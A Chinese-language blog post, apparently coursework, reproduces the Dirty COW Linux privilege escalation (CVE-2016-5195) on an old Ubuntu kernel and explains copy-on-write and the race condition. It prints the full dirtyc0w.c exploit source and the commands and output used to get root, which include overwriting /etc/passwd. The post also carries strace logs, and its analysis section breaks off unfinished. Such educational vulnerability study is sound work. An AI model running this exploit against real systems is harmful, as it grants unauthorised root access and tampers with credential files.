漏洞分析之 CVE-2016-5195

Dirty Cow 提权漏洞复现。

前言

比较有名的漏洞,刚好系统安全的作业就是要复现这个漏洞,正好写了。

复现

中大镜像站内网镜像下载地址:https://mirrors.matrix.moe/ubuntu-releases/16.04/ubuntu-16.04.7-desktop-amd64.iso

下一个 Ubuntu 16.04 的镜像(这个是因为作业让我用这个版本,选其他的应该也行),看一下内核版本

1
2
$ uname -a
Linux ubuntu 4.15.0-112-generic #113~16.04.1-Ubuntu SMP Fri Jul 10 04:37:08 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

太新了,换个老点的 kernel,可以大概参考官方的 Patched Kernel Versions(但是好像不完全准确?),我选了 4.4.0

1
2
sudo apt-get install linux-image-4.4.0-21-generic \
linux-headers-4.4.0-21-generic

再改一下 GRUB 配置

1
sudo nano /etc/default/grub

改成如下配置,没有的就加上

1
2
GRUB_TIMEOUT=10
GRUB_TIMEOUT_STYLE=menu

然后更新一下 GRUB(别忘了)

1
sudo update-grub

重启一下,在 GRUB 菜单选择 Advanced options for Ubuntu,然后选择 4.4.0-21-generic 版本的内核,回车进入系统。

1
2
uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

看到内核已经是老的了,可以开搞了。
去 GitHub 偷一个 PoC

1
2
3
git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195
make

然后执行一下,root 就到手了

1
2
3
4
5
6
7
8
9
10
11
12
$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

\cp /tmp/.ssh_bak /etc/passwd
\rm /tmp/.ssh_bak
root@ubuntu:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@ubuntu:~# \cp /tmp/.ssh_bak /etc/passwd
root@ubuntu:~# \rm /tmp/.ssh_bak
root@ubuntu:~#

拓展之 GRUB

GRUB,全称 GRand Unified Bootloader,就是一个引导程序,是计算机启动时第一个加载的软件,负责加载操作系统的内核,然后由内核初始化操作系统的其他部分(如 shell、显示管理、桌面环境等)。

但是还有一个有意思的点 —— GRUB 既是引导程序,也是一个引导管理器。

那么引导管理器又是个什么东东呢?

也不复杂,它的作用就是让你能选择不同的操作系统(当然你得有两个以上的操作系统才有得选是吧)

原理

极致省流版原理:条件竞争导致只读文件被写入

可以先说说这个命令的由来,相信熟悉 Docker 的同学对写时复制(Copy-On-Write)这个概念并不陌生,这个机制的意思就是一个资源被复制成两份时,如果双方都不存在修改,那么实际上就只会存在一份资源。熟悉 Python 的同学也可以尝试一下如下代码:

1
2
3
4
5
6
a = 1
b = 1
print(id(a), id(b)) # 140714691031848 140714691031848
print(a is b) # True
a = 2
print(id(a), id(b)) # 140714691031880 140714691031848

这是个应用非常广泛的机制,就比如 VMWare 的快照,你应该好奇过它是怎么做到能保存一个状态但又没有复制一个完整的虚拟机,没错,它就 COW 机制的一个典型应用。

计组 review 之 —— dirty page,即脏页,指的是内存中被修改过但还没有写回磁盘的页面。

由于磁盘访问时间长达几千万个时钟周期,所以需要尽量减少访问磁盘特别是写入磁盘的操作
因为内存中的页只能使用写回机制写入磁盘
还需要在页表中添加一个脏位(Dirty Bit),用于标记页是否被修改过,被修改过的才需要写回磁盘

官方 PoC

链接:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

以下对注释做了删减,对注释部分有兴趣的读者可以自行查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str = (char *)arg;
int i, c = 0;
for (i = 0; i < 100000000; i++)
{
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}

void *procselfmemThread(void *arg)
{
char *str;
str = (char *)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for (i = 0; i < 100000000; i++)
{
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}

int main(int argc, char *argv[])
{
if (argc < 3)
{
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}

用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000

我们用 strace 来看看执行过程

1
strace -f -o dirtyc0w.log ./dirtyc0w foo m00000000000000000

我们来看 dirtyc0w.log 的前面部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
52725 execve("./dirtyc0w", ["./dirtyc0w", "foo", "m00000000000000000"], [/* 19 vars */]) = 0
52725 brk(NULL) = 0x1461000
52725 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
52725 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
52725 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
52725 fstat(3, {st_mode=S_IFREG|0644, st_size=88932, ...}) = 0
52725 mmap(NULL, 88932, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb97dacf000
52725 close(3) = 0
52725 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
52725 open("/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
52725 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260`\0\0\0\0\0\0"..., 832) = 832
52725 fstat(3, {st_mode=S_IFREG|0755, st_size=138696, ...}) = 0
52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dace000
52725 mmap(NULL, 2212904, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb97d6a3000
52725 mprotect(0x7fb97d6bb000, 2093056, PROT_NONE) = 0
52725 mmap(0x7fb97d8ba000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17000) = 0x7fb97d8ba000
52725 mmap(0x7fb97d8bc000, 13352, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb97d8bc000
52725 close(3) = 0
52725 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
52725 open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
52725 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\t\2\0\0\0\0\0"..., 832) = 832
52725 fstat(3, {st_mode=S_IFREG|0755, st_size=1868984, ...}) = 0
52725 mmap(NULL, 3971488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb97d2d9000
52725 mprotect(0x7fb97d499000, 2097152, PROT_NONE) = 0
52725 mmap(0x7fb97d699000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c0000) = 0x7fb97d699000
52725 mmap(0x7fb97d69f000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb97d69f000
52725 close(3) = 0
52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dacd000
52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dacc000
52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dacb000
52725 arch_prctl(ARCH_SET_FS, 0x7fb97dacc700) = 0
52725 mprotect(0x7fb97d699000, 16384, PROT_READ) = 0
52725 mprotect(0x7fb97d8ba000, 4096, PROT_READ) = 0
52725 mprotect(0x601000, 4096, PROT_READ) = 0
52725 mprotect(0x7fb97dae5000, 4096, PROT_READ) = 0
52725 munmap(0x7fb97dacf000, 88932) = 0
52725 set_tid_address(0x7fb97dacc9d0) = 52725
52725 set_robust_list(0x7fb97dacc9e0, 24) = 0
52725 rt_sigaction(SIGRTMIN, {0x7fb97d6a8b50, [], SA_RESTORER|SA_SIGINFO, 0x7fb97d6b4390}, NULL, 8) = 0
52725 rt_sigaction(SIGRT_1, {0x7fb97d6a8be0, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fb97d6b4390}, NULL, 8) = 0
52725 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
52725 getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
52725 open("foo", O_RDONLY) = 3
52725 fstat(3, {st_mode=S_IFREG|0404, st_size=19, ...}) = 0
52725 mmap(NULL, 19, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb97dae4000
52725 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 8), ...}) = 0
52725 brk(NULL) = 0x1461000
52725 brk(0x1482000) = 0x1482000
52725 write(1, "mmap 7fb97dae4000\n\n", 19) = 19
52725 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7fb97cad8000
52725 mprotect(0x7fb97cad8000, 4096, PROT_NONE) = 0
52725 clone(child_stack=0x7fb97d2d7ff0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7fb97d2d89d0, tls=0x7fb97d2d8700, child_tidptr=0x7fb97d2d89d0) = 52726
52726 set_robust_list(0x7fb97d2d89e0, 24 <unfinished ...>
52725 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0 <unfinished ...>
52726 <... set_robust_list resumed> ) = 0
52725 <... mmap resumed> ) = 0x7fb97c2d7000
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...>
52725 mprotect(0x7fb97c2d7000, 4096, PROT_NONE) = 0
52726 <... madvise resumed> ) = 0
52725 clone( <unfinished ...>
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...>
52725 <... clone resumed> child_stack=0x7fb97cad6ff0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7fb97cad79d0, tls=0x7fb97cad7700, child_tidptr=0x7fb97cad79d0) = 52727
52727 set_robust_list(0x7fb97cad79e0, 24 <unfinished ...>
52725 futex(0x7fb97d2d89d0, FUTEX_WAIT, 52726, NULL <unfinished ...>
52727 <... set_robust_list resumed> ) = 0
52726 <... madvise resumed> ) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52727 open("/proc/self/mem", O_RDWR <unfinished ...>
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0
52727 <... open resumed> ) = 4
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...>
52727 lseek(4, 140434654248960, SEEK_SET <unfinished ...>
52726 <... madvise resumed> ) = 0
52727 <... lseek resumed> ) = 140434654248960
52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...>
52727 write(4, "m00000000000000000", 18 <unfinished ...>
52726 <... madvise resumed> ) = 0
52727 <... write resumed> ) = 18

其实你对应一下就发现这个跟 C 代码是非常对应的,52725 代表函数 main,52726 代表 madviseThread,52727 代表 procselfmemThread
可以看到函数 madviseThread 先启动,一执行就有返回结果,然后 procselfmemThread 也开始执行了,此时两个函数是并行的,比如 open 执行了,被 madvise 插一脚,madvise 执行完后 open 的结果才返回,并不是 main 函数里和谐的顺序执行。

再看一眼结尾部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
52727 lseek(4, 140434654248960, SEEK_SET) = 140434654248960
52727 write(4, "m00000000000000000", 18) = 18
52727 lseek(4, 140434654248960, SEEK_SET) = 140434654248960
52727 write(4, "m00000000000000000", 18) = 18
52727 lseek(4, 140434654248960, SEEK_SET) = 140434654248960
52727 write(4, "m00000000000000000", 18) = 18
52727 lseek(4, 140434654248960, SEEK_SET) = 140434654248960
52727 write(4, "m00000000000000000", 18) = 18
52727 lseek(4, 140434654248960, SEEK_SET) = 140434654248960
52727 write(4, "m00000000000000000", 18) = 18
52727 lseek(4, 140434654248960, SEEK_SET) = 140434654248960
52727 write(4, "m00000000000000000", 18) = 18
52727 write(1, "procselfmem 18000\n\n", 19) = 19
52727 madvise(0x7fb97c2d7000, 8368128, MADV_DONTNEED) = 0
52727 exit(0) = ?
52725 <... futex resumed> ) = 0
52727 +++ exited with 0 +++
52725 exit_group(0) = ?
52725 +++ exited with 0 +++

显然因为函数 procselfmemThread 要执行 lseekwrite,而 madviseThread 只需要执行 madvise,所以 procselfmemThread 的执行时间会比 madviseThread 长很多,到后面很大一部分时间都是 procselfmemThread 在自己玩。

现在我们再来单独看看一直在互相纠缠的这两个函数
函数 procselfmemThread 里有一个 lseek 函数,作用是将文件指针移动到指定位置,第二个参数就是我们要写入的地址,第三个参数是偏移量,这里我们传入的是 SEEK_SET,表示从文件开头开始计算偏移量。

// To be continued…

总结

有种把最近学的都串起来的爽感,包括 COW、条件竞争这些。

参考

CVE-2016-5195
经典内核漏洞复现之 dirtycow
Linux Jargon Buster: What is Grub in Linux? What is it Used for?

作者

未央

发布于

2025-04-14

更新于

2025-04-16

许可协议

评论